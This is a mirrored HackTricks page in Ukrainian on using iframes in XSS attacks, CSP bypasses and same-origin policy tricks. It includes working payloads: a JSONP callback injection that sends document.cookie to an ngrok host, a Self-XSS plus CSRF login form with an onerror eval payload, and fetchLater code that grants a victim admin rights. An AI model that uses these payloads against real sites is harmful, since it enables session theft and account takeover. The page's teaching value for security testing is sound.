mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
205 lines
11 KiB
Markdown
205 lines
11 KiB
Markdown
# Iframes в XSS, CSP та SOP
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Iframes в XSS
|
||
|
||
Є 3 способи вказати вміст сторінки в iframe:
|
||
|
||
- Через `src`, вказуючи URL (URL може бути крос-доменним або того ж домену)
|
||
- Через `src`, вказуючи вміст за допомогою протоколу `data:`
|
||
- Через `srcdoc`, вказуючи вміст
|
||
|
||
**Доступ до змінних батьківського та дочірнього контексту**
|
||
```html
|
||
<html>
|
||
<script>
|
||
var secret = "31337s3cr37t"
|
||
</script>
|
||
|
||
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe id="if2" src="child.html"></iframe>
|
||
<iframe
|
||
id="if3"
|
||
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe
|
||
id="if4"
|
||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
|
||
<script>
|
||
function access_children_vars() {
|
||
alert(if1.secret)
|
||
alert(if2.secret)
|
||
alert(if3.secret)
|
||
alert(if4.secret)
|
||
}
|
||
setTimeout(access_children_vars, 3000)
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
```html
|
||
<!-- content of child.html -->
|
||
<script>
|
||
var secret = "child secret"
|
||
alert(parent.secret)
|
||
</script>
|
||
```
|
||
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). **батьківський контекст не зможе отримати доступ до змінної `secret` всередині жодного iframe** і **тільки iframes if2 та if3 (які вважаються такими, що належать до одного сайту) можуть отримати доступ до секрету** в оригінальному вікні.\
|
||
Зверніть увагу, що if4 вважається таким, що має `null` походження.
|
||
|
||
### Iframes з CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||
|
||
> [!TIP]
|
||
> Будь ласка, зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.
|
||
|
||
Значення `self` для `script-src` не дозволить виконання JS коду, використовуючи протокол `data:` або атрибут `srcdoc`.\
|
||
Однак навіть значення `none` для CSP дозволить виконання iframe, які вказують URL (повний або лише шлях) в атрибуті `src`.\
|
||
Отже, можливо обійти CSP сторінки за допомогою:
|
||
```html
|
||
<html>
|
||
<head>
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||
</head>
|
||
<script>
|
||
var secret = "31337s3cr37t"
|
||
</script>
|
||
<iframe id="if1" src="child.html"></iframe>
|
||
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe
|
||
id="if3"
|
||
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe
|
||
id="if4"
|
||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
</html>
|
||
```
|
||
Зверніть увагу, що **попередній CSP дозволяє виконання лише вбудованого скрипту**.\
|
||
Однак, **будуть виконані лише скрипти `if1` та `if2`, але лише `if1` зможе отримати доступ до батьківського секрету**.
|
||
|
||
.png>)
|
||
|
||
Отже, можливо **обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
|
||
|
||
Ви можете протестувати це з наступним сценарієм, де куки викрадаються навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
|
||
```python
|
||
import flask
|
||
from flask import Flask
|
||
app = Flask(__name__)
|
||
|
||
@app.route("/")
|
||
def index():
|
||
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
||
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
||
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
||
return resp
|
||
|
||
@app.route("/cookie_s.html")
|
||
def cookie_s():
|
||
return "<script>alert(document.cookie)</script>"
|
||
|
||
if __name__ == "__main__":
|
||
app.run()
|
||
```
|
||
### Інші Payloads, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||
```html
|
||
<!-- This one requires the data: scheme to be allowed -->
|
||
<iframe
|
||
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
|
||
<!-- This one injects JS in a jsonp endppoint -->
|
||
<iframe srcdoc='
|
||
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
||
<iframe
|
||
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
||
```
|
||
### Iframe sandbox
|
||
|
||
Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута `sandbox`. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.
|
||
|
||
Коли використовується, атрибут `sandbox` накладає кілька обмежень:
|
||
|
||
- Вміст розглядається так, ніби він походить з унікального джерела.
|
||
- Будь-яка спроба надсилання форм блокується.
|
||
- Виконання скриптів заборонено.
|
||
- Доступ до певних API вимкнено.
|
||
- Запобігає взаємодії посилань з іншими контекстами перегляду.
|
||
- Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги заборонено.
|
||
- Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
|
||
- Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
|
||
|
||
Значення атрибута можна залишити порожнім (`sandbox=""`), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.
|
||
```html
|
||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||
```
|
||
### Credentialless iframes
|
||
|
||
Як пояснено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), прапорець `credentialless` в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.
|
||
|
||
Це дозволяє iframe отримувати чутливу інформацію з іншого iframe в тому ж SOP, завантаженому на батьківській сторінці:
|
||
```javascript
|
||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||
alert(window.top[1].document.cookie);
|
||
```
|
||
- Приклад експлуатації: Self-XSS + CSRF
|
||
|
||
У цій атаці зловмисник готує шкідливу веб-сторінку з 2 iframe:
|
||
|
||
- Iframe, який завантажує сторінку жертви з прапором `credentialless` з CSRF, що викликає XSS (Уявіть собі Self-XSS у імені користувача):
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form action="http://victim.domain/login" method="POST">
|
||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
- Інший iframe, в якому насправді користувач увійшов в систему (без прапора `credentialless`).
|
||
|
||
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну і ту ж SOP, і вкрасти кукі, наприклад, виконавши:
|
||
```javascript
|
||
alert(window.top[1].document.cookie);
|
||
```
|
||
### fetchLater Attack
|
||
|
||
Як зазначено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` дозволяє налаштувати запит, який буде виконано пізніше (після певного часу). Тому це можна зловживати, наприклад, для входу жертви в сесію атакуючого (з Self-XSS), налаштувати запит `fetchLater` (щоб змінити пароль поточного користувача, наприклад) і вийти з сесії атакуючого. Потім жертва входить у свою власну сесію, і запит `fetchLater` буде виконано, змінюючи пароль жертви на той, що встановлений атакуючим.
|
||
|
||
Таким чином, навіть якщо URL жертви не може бути завантажено в iframe (через CSP або інші обмеження), атакуючий все ще може виконати запит у сесії жертви.
|
||
```javascript
|
||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||
const minute = 60000
|
||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||
for (let timeout of arr)
|
||
fetchLater(req,{activateAfter: timeout})
|
||
```
|
||
## Iframes в SOP
|
||
|
||
Перевірте наступні сторінки:
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
{{#ref}}
|
||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|